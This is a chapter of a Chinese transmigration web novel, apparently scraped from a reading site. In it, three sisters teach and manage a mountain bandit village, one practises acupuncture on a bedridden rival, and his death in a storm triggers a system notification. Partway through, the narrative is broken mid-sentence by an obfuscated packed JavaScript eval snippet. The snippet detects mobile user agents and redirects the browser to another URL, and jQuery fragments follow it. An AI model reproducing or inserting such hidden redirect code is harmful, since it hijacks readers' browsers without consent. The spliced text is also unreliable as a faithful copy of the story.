31. 触发互动性npc

作品:《一天一个金手指[快穿]

    脱离了被天花板跟防盗窗框起来的教室,也没有考试排名的压力,九星寨的孩子们来上课竟然意外地积极,没有一个人产生厌学的心理。


    寨子里人在山下买了一面大钟,孩子们每天看着时间快到了就自发跑去上课。


    又因为教的大都是山间生活用得上的知识,学了就能运用,所以巩固得特别牢,没有出现后代课堂中那种学了就忘的现象。


    手工跟植物的知识学了一个多星期后,荣雪卿才在所有孩子见证了建造过程的大亭子里教他们识字写字。


    大八角亭没有砌墙,只挂上了透光的草帘挡风,里面间隔着摆了好几个火盆,所以读书写字的时候只感觉亮堂又暖和。


    荣雪卿最开始的第一个星期教的都是些寨子里生活常见的字词,例如“山”、“土”之类的,后面才照着在山下买的书本教孩子。


    孟栀雨跟荣雪卿都像模像样地学起来了,显得瞿芙的进度特别慢,她不免又在心里急了起来。


    虽然荣雪卿跟她说的是学多少算多少,不要有太大压力,但她还是对自己有个小目标的。


    现在寨子里的人有点什么不舒服,只能靠自身抵抗力硬抗过去。瞿芙希望自己能多学点,成为寨子里的赤脚医生,好让她们三姐妹在这里脚跟站得更稳。


    抱着这份决心,她在一片空地上自种自制了一批草药,没事还会背着包拿罗勇做实验。


    这天,瞿芙又在罗勇身上扎针。外面有小孩路过,玩闹声特别大。


    以前罗勇是最讨厌这种动静的,觉得野孩子才会这样大声喧哗,但现在他只能躺在床上,吃也吃不饱,身体一天比一天差,反而觉得那些孩子的声音听着好玩能解闷。


    瞿芙专心致志地照着书给罗勇扎针,没有留意外面的动静,但忽然他就像是条搁浅的鱼一样挣扎了起来,吓得她手忙脚乱拔针。


    “你干嘛呀这是!别乱动!等下针掉地下了我都找不到!”瞿芙崩溃大喊。


    “他们在背诗!寨子里的小孩怎么会背诗呢?!”罗勇激动道,那语气说不出来是惊恐还是惊喜。


    瞿芙被人打搅了学习的专注力,收东西的动作带着怒气,发出一连串噼里啪啦的声响。她听到罗勇的疑惑,鼻子里发出声冷哼,居高临下地说道:


    “这有什么好稀奇的?我妹妹可是大学生,教几个孩子背两首古诗再简单不过了!”


    “不可能……那些人……不会让他们的孩子学这些的……他们都觉得读书没有用……”罗勇语无伦次道。


    “什么读书没有用,是人家觉得你这种假读书人没有用吧!以为自己上了两天学,平时就屁事不干光使唤人了。你肯定不知道,寨子里的小孩现在都管卿卿叫荣老师,而且他们已经会一些简单的字了。”瞿芙有些得意地说道。


    她不会明白这些话对躺在床上这个人的冲击有多大。


    如果一开始九星寨的人愿意让罗勇教孩子,他压根就不会想着带上所有人投奔黑熊寨这种大寨子。


    罗勇清楚地知道自己干不来打打杀杀这种事情,所以大当家还在的时候一直致力于做他的“锦囊袋”。


    后来大当家没了,他不甘愿被其他人踩到头上,自己又没有什么别的本事,才会想在带着所有人投奔其他寨子,自己好继续做“二把手”。


    但是现在,荣雪卿做了罗勇原先最想做的事情,还做成功了,不仅如此,还额外叠加了“大奶奶”的身份,在寨子里说一不二。


    上一次在山上摔了之后,罗勇就一直病着,后面吃不饱加上总是生气,一直没能彻底好起来,这次更是急火攻心发起了烧。


    因为一直被管着,他病情加重的事情没什么人注意,除了给他送饭的人和每天拿他练手的瞿芙。


    瞿芙担心荣雪卿心软,所以一直没有将这件事告诉她,自己则对此毫无心理负担。


    “是你一开始先跟我们作对的,我又没有主动害你,反而还每天都在努力尝试救你,这怎么能算是我恶毒呢?”


    两个好姐妹不在场,瞿芙甜美可人表面下的腹黑便暴露了出来。她本来就是这样的人,如果不是为了主线任务,她还可以更坏。


    在看不见的时空里,每一根她落下的针都被高纬度读者写满了评论。


    “我靠,我忽然觉得这种坏女人好带感是怎么回事!”


    “谁说不是呢?三姐妹三种完全不一样的性格,总能选中心仪的一款。”


    “以前的我觉得这种女人危险会想要尽可能远离,现在只恨自己不是她的好闺闺~”


    “对付外人毫不手软,对自己人却会担心自己做得不够多,这个反差有没有人能来懂一下?!”


    ……


    瞿芙按照自己的计划在罗勇身上试了一遍新学的穴位,走之前注意到床上的人眼睛紧闭,用食指试探了一下他的鼻息,确认还活着就没再多想。


    她收拾好自己的东西,从罗勇住的木屋里出来后又去开了猪圈里的三头猪。


    负责照顾猪的婆婆见瞿芙来了,赶忙拿着新买的虎头牌手电筒过来。


    “今天这天比较阴,用这个看得清楚。”


    就着手电筒的光亮,瞿芙看到了茁壮成长的几个小猪,自从它们接到寨子里来简直是像吹气球一样一天比一天胖。


    “长得真快啊,卿卿挑的小猪就是好养活。”瞿芙感慨道。


    “瞿大夫你出了很大的力。我们山上人以前没养过这玩意儿,怎么喂,哪些草料猪吃了好都是你教我的。没有你这猪肯定也长不了这么好。”婆婆发自内心地说。


    瞿芙被喊“瞿大夫”心里不免有些暗爽,但也多了两分压力。寨子里的人知道她买了医书在看,都期待她能早日学成,她决定今晚上温书的时候要更认真一些。


    从猪圈离开,瞿芙回去的路上看到有个地方正在用石砖起一栋新房子,她没记错的话那里原先是一对相依为命的婆媳的住处,想了想决定去刷个脸再挑点轻快的活意思意思。


    瞿芙乖巧地跟人打过招呼,正准备帮忙就看到脱得只剩一件背心的大牛。


    不过才开春没多久的天气,这人干活竟然已经热得只穿一件衣服了。


    上半身一件背心,裤子倒跟周围人穿得差不多厚实宽大,衬得腰肢更加结实有劲。


    瞿芙将大牛从上到下扫视了一眼,在心里吹了身口哨,常年干体力活练出来的腱子肉跟后世健身房里需要蛋白粉合成的肌肉确实不一样。


    她放下手里的抹布,转身倒了杯水垫脚递给梯子上的大牛。


    不远处的荣雪卿跟孟栀雨目睹了全程,彼此对视一眼,然后决定当作没看到也不讨论,手挽手换了条路走。


    “你接下来有什么打算?难道要一直教下去吗?”孟栀雨好奇问道。


    “额……这个嘛,我其实还没什么头绪。”


    荣雪卿是真没头绪,之前都是刷新出什么技能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987164|191652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,她就朝着什么方向努力,这次却迟迟没有弹出任务进度提示。


    直到惊蛰这天,风雨交加又电闪雷鸣,九星寨所有人都窝在自己的小家里没有出门。


    以前的这时候,很多人家的房子都会漏雨,需要拿盆什么的出来接水,漏得严重的房子还得顶着大雨爬上去抢修房顶。


    而今年,孟栀雨才带着小萝卜头施工队把整个寨子的房子都翻新了一遍,所有人因此得以在家高枕无忧。


    不过有一处房屋除外,那就是罗勇的屋子。


    给其他人修房子,人家不说拿出多好的东西表示感谢,起码也会夸一句小孩真棒,所以这些孩子干得特别起劲。


    唯独罗勇自己行动不便,只能在房间里躺着坐着,妨碍他们干活也就算了,嘴上还落不着一句好。


    “你们这群蠢货,得了一点蝇头小利就觉得自己赚大了。真以为人家是要教你什么东西?做梦呢!明明是想让你们白干活!”


    小孩一直挨骂,干活自然不会好好干。更过分的是,罗勇不止骂他们,孟栀雨站出来想让他闭嘴,他还开始骂孟栀雨。


    “臭娘们!占了老子的位置!你们也配?!真以为自己是什么了不起的人吗?我告诉你,你们三个小娘皮在我眼里什么都不是!”


    孟栀雨是什么人?她可是民选渣女!在她原来的世界比这更难听的话都听过,这种程度的口头攻击跟毛毛雨才差不多。


    当着这么多孩子的面,孟栀雨没好意思对罗勇下黑手,只是在他头顶盖瓦时,让一个最胖的小孩噔噔噔爬上去,踩得房子内灰尘木屑还有墙皮像雪花一样哗啦啦往下落,几乎将里面的罗勇给活埋了。


    最后罗勇这房子自然是整个寨子里翻修得最敷衍的一栋,平时不显,遇到惊蛰天气时就掉链子了。


    漏雨的豁口越来越大,整个房间到处都淌着水。罗勇挣扎着从床上爬起来,想出去却发现门被从外面反锁上了。


    至于平时给他送饭的人,这种天气寨子里都是自己在家开小灶,那人当然不愿意从自己家人的口粮里匀出来一口给他,顶着大雨眼巴巴过来送饭更加不可能。


    罗勇正准备谩骂一通好发泄自己心中的怒火,天空一个惊雷吓得他连连后退。


    他以前在山下读书时学过,下雨天的雷是有可能劈死人的,他该不会这么倒霉吧?


    顾不上自己浑身脏污,罗勇连鞋都没脱都缩回了床上,将早就湿透的棉被扯过头顶,希望以此消一些恐惧。


    惊蛰时节除了电闪雷鸣,倒春寒也特别明显,体感温度似乎比冬天那会儿还要冷。


    而罗勇,就这样裹着一床湿透的棉被,在饥寒交迫又惴惴不安的状态下死了,说不好是冻死的、病死的还是饿死的了。


    他死去的当晚,荣雪卿沉寂已久的面板弹出来新的提示。


    【主线任务取得重大进展,恭喜宿主激活技能四:基层治理。】


    【技能说明:让所有人忘记土匪的标签,记住村民的身份。好治理不是叫人回头,而是带人往前看。】


    阅读完任务提示后,面板上还有一条她从未见过的提示。


    【特定目标死亡,触发互动性npc——九星寨大当家】


    荣雪卿怀疑面板出现了某种故障,怎么回事大当家呢?大当家不是死了吗?


    她脑海里出现这个疑惑的同时,山洞壁龛上用来供奉大当家牌位的两个香烛火苗开始疯狂跳跃。